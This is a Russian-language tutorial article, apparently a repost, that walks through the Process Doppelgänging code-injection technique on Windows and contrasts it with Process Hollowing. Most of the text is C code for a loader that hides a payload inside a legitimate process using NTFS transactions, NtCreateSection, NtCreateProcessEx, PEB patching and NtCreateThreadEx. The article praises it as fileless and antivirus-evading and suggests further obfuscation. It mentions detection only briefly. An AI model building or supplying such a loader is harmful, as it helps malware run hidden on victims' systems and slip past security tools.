Содержание статьи
Техника Process Doppelgänging чем-то похожа на своего предшественника — Process Hollowing, но отличается механизмами запуска приложения и взаимодействия с загрузчиком операционной системы. Кроме того, в новой технике применяются механизм транзакций NTFS и соответствующие WinAPI, например CreateTransaction
, CommitTransaction
, CreateFileTransacted
и RollbackTransaction
, которые, разумеется, не используются в Process Hollowing.
Это одновременно сильная и слабая черта новой техники сокрытия процессов. С одной стороны, разработчики антивирусов и прочего защитного софта не были готовы к тому, что для запуска вредоносного кода будут использованы WinAPI, отвечающие за транзакции NTFS. С другой стороны, после доклада на конференции эти WinAPI сразу попадут под подозрение, если будут встречаться в исполняемом коде. И неудивительно: это редкие системные вызовы, которые практически не применяются в обычных программах. Конечно, есть несколько способов скрыть вызовы WinAPI, но это уже другая история, а сейчас мы имеем неплохой концепт, который можно развивать.
Различия Process Doppelgänging и Process Hollowing
Широко распространенная в узких кругах техника запуска исполняемого кода Process Hollowing заключается в подмене кода приостановленного легитимного процесса вредоносным кодом и последующем его выполнении. Вот общий план действий при Process Hollowing.
- При помощи
CreateProcess
открыть легитимный доверенный процесс, установив флагCREATE_SUSPENDED
, чтобы процесс приостановился. - Скрыть отображение секции в адресном пространстве процесса при помощи
NtUnmapViewOfSection
. - Перезаписать код нужным при помощи
WriteProcessMemory
. - Запуститься при помощи
ResumeThread
.
По сути, мы вручную меняем работу загрузчика операционной системы и делаем за него часть работы, попутно подменяя код в памяти.
В свою очередь, для реализации техники Process Doppelgänging нам нужно выполнить такие шаги.
- Создаем новую транзакцию NTFS при помощи функции
CreateTransaction
. - В контексте транзакции создаем временный файл для нашего кода функцией
CreateFileTransacted
. - Создаем в памяти буферы для временного файла (объект «секция», функция
NtCreateSection
). - Проверяем PEB.
- Запускаем процесс через
NtCreateProcessEx->ResumeThread
.
Вообще, технология транзакций NTFS(TxF) появилась в Windows Vista на уровне драйвера NTFS и осталась во всех последующих операционных системах этого семейства. Эта технология призвана помочь производить различные операции в файловой системе NTFS. Также она иногда используется при работе с базами данных.
Операции TxF считаются атомарными — пока происходит работа с транзакцией (и связанными с ней файлами), до ее закрытия или отката она не видна никому. И если будет откат, то операция не изменит ничего на жестком диске. Транзакцию можно создать при помощи функции CreateTransaction
с нулевыми параметрами, а последний параметр — название транзакции. Прототип выглядит таким образом.
HANDLE CreateTransaction( IN LPSECURITY_ATTRIBUTES lpTransactionAttributes OPTIONAL, IN LPGUID UOW OPTIONAL, IN DWORD CreateOptions OPTIONAL, IN DWORD IsolationLevel OPTIONAL, IN DWORD IsolationFlags OPTIONAL, IN DWORD Timeout OPTIONAL, LPWSTR Description);
Приступаем к работе
Начинаем писать приложение с самого начала. Условимся, что наше приложение (пейлоад), которое необходимо будет запустить от имени другого приложения (цели), будет передаваться в качестве второго аргумента, а цель — в качестве первого.
int main(int argc, char *argv[]) { WCHAR descr[MAX_PATH] = { 0 }; HANDLE hTrans = CreateTransaction(NULL, 0, 0, 0, 0, 0, descr); if (hTrans == INVALID_HANDLE_VALUE) return -1;
Далее создаем фиктивный временный файл в контексте транзакции.
HANDLE hTrans_file = CreateFileTransacted(dummy_file, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTrans, NULL, NULL);if (hTrans_file == INVALID_HANDLE_VALUE) return -1;
В переменной dummy_file
— путь к тому файлу, под который мы маскируемся. Я буду стараться всегда приводить прототипы недокументированных функций: вот прототип CreateFileTransacted
.
HANDLE CreateFileTransactedA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter);
Далее необходимо выделить память для нашего пейлоада. Это можно сделать при помощи маппинга, а можно и обычным вызовом malloc
.
HANDLE input_payload = CreateFile(argv[2], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (input_payload == INVALID_HANDLE_VALUE) return -1;BOOL status = GetFileSizeEx(input_payload, &pf_size);if (!status) return -1;DWORD dwf_size = pf_size.LowPart;BYTE *buf = (BYTE *)malloc(dwf_size);if (!buf) return -1;
Думаю, что этот код не вызовет у тебя никаких трудностей: здесь используются стандартные функции WinAPI и функции языка С.
Итак, буфер в памяти готов, теперь заполним его.
DWORD read_bytes = 0;DWORD overwrote = 0;if (ReadFile(input_payload, buf, dwf_size, &read_bytes, NULL) == FALSE) return -1;if (WriteFile(hTransactedFile, buf, dwf_size, &overwrote, NULL) == FALSE) return -1;status = NtCreateSection(&hSection_obj, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTrans_file);if (!NT_SUCCESS(status)) return -1;
С этого момента в памяти все готово: буфер выделен и заполнен нашим пейлоадом. Теперь дело за малым — создать процесс, настроить PEB, вычислить точку входа и запуститься в новом треде. 🙂 Создавать процесс функцией CreateProcess
мы не можем: ей нужен путь до файла, а если учесть, что файл, который мы создали внутри транзакции, — фейковый, к тому же транзакция даже не завершена (и никогда не будет завершена, будет роллбэк), то такой путь мы предоставить не в состоянии. Но выход есть — использовать функцию NTAPI NtCreateProcessEx
. Ей не нужен путь к файлу, вот ее прототип:
NTSTATUSNTAPINtCreateProcessEx( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ParentProcess, _In_ ULONG Flags, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort, _In_ ULONG JobMemberLevel);
Передаваемый в эту функцию параметр SectionHandle
не что иное, как секция, которую мы создали функцией NtCreateSection
.
status = NtCreateProcessEx(&h_proc, GENERIC_ALL, NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection_obj, NULL, NULL, FALSE);if (!NT_SUCCESS(status)) return -1;
Тут магия заканчивается и начинается рутина. Если ты когда-нибудь писал процедуру запуска процессов из памяти при помощи NtCreateProcessEx
, то будет легко. Сначала заполним RTL_USER_PROCESS_PARAMETERS
и запишем эти данные в наш процесс.
UNICODE_STRING victim_path;PRTL_USER_PROCESS_PARAMETERS proc_parameters = 0;status = RtlCreateProcessParametersEx(&proc_parameters, &victim_path, NULL, NULL, &victim_path, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);if (!NT_SUCCESS(status)) return -1;LPVOID r_proc_parameters;r_proc_parameters = VirtualAllocEx(h_proc, proc_parameters, (ULONGLONG)proc_parameters & 0xffff + proc_parameters->EnvironmentSize + proc_parameters->MaximumLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!r_proc_parameters) return -1;status = WriteProcessMemory(h_proc, proc_parameters, proc_parameters, proc_parameters->EnvironmentSize + proc_parameters->MaximumLength, NULL);if (!NT_SUCCESS(status)) return -1;
Далее так же, при помощи WriteProcessMemory
, настраиваем PEB.
PROCESS_BASIC_INFORMATION pb_info;status = NtQueryInformationProcess( h_proc, ProcessBasicInformation, &pb_info, sizeof(pb_info), 0);if (!NT_SUCCESS(status)) return -1;PEB *peb = pb_info.PebBaseAddress;status = WriteProcessMemory(h_proc, &peb->ProcessParameters, &proc_parameters, sizeof(LPVOID), NULL);if (!NT_SUCCESS(status)) return -1;
И последний, завершающий штрих — запуск треда процесса. Для этого нужно узнать базовый адрес загрузки модуля и начало кода в выделенном нами буфере. Код стандартный, упрощенный.
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buf;PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(buf + dos_header->e_lfanew);ULONGLONG ep_proc = nt_header->OptionalHeader.AddressOfEntryPoint;GetSystemInfo(&sys_info);LPVOID base_addr = 0;while (p_memory < sys_info.lpMaximumApplicationAddress) { VirtualQueryEx(h_proc, p_memory, &mem_basic_info, sizeof(MEMORY_BASIC_INFORMATION)); GetMappedFileName(h_proc, mem_basic_info.BaseAddress, mod_name, MAX_PATH); if (strstr(mod_name, argv[1])) base_addr = mem_basic_info.BaseAddress; p_memory = (LPVOID)((ULONGLONG)mem_basic_info.BaseAddress + (ULONGLONG)mem_basic_info.RegionSize);}ep_proc += (ULONGLONG)base_addr;
И запускаем сам поток:
HANDLE hThread;status = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, h_proc, (LPTHREAD_START_ROUTINE)ep_proc, NULL, FALSE, 0, 0, 0, NULL);if (!NT_SUCCESS(status)) return -1;
Вот и все. С этого момента наш код начинает работать под прикрытием другого процесса. Не забываем сделать роллбэк транзакции:
if (!RollbackTransaction(hTrans)) return -1;
Заключение
Как видишь, ничего сложного в этой новой атаке нет. Из бонусов — атака получается бесфайловой, весь код существует только в памяти, потому что мы не завершаем транзакцию NTFS, а откатываем все изменения.
Подобный метод внедрения несложно обнаружить — нужно просто сравнить код в памяти и на жестком диске. Кроме того, некоторые NTAPI, использванные в статье, имеют высокий рейтинг у эвристиков антивирусов (например, та же NtCreateThreadEx
). Подозрения у антивирусов может вызвать и сам факт использования редких функций WinAPI, которые отвечают за транзакции NTFS, особенно в свете того, что в Microsoft не рекомендуют их использовать. Конечно, это не означает, что эвристика обязательно сработает, но точно заставит присмотреться к твоему файлу с сильной предвзятостью.
Замечу, что приведенный мной код — это концепт, который еще улучшать и улучшать. Например, можно использовать маппинг для выделения буферов, можно зашифровать динамическое получение функций и так далее.
Скачать:
Скриншоты:
Важно:
Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.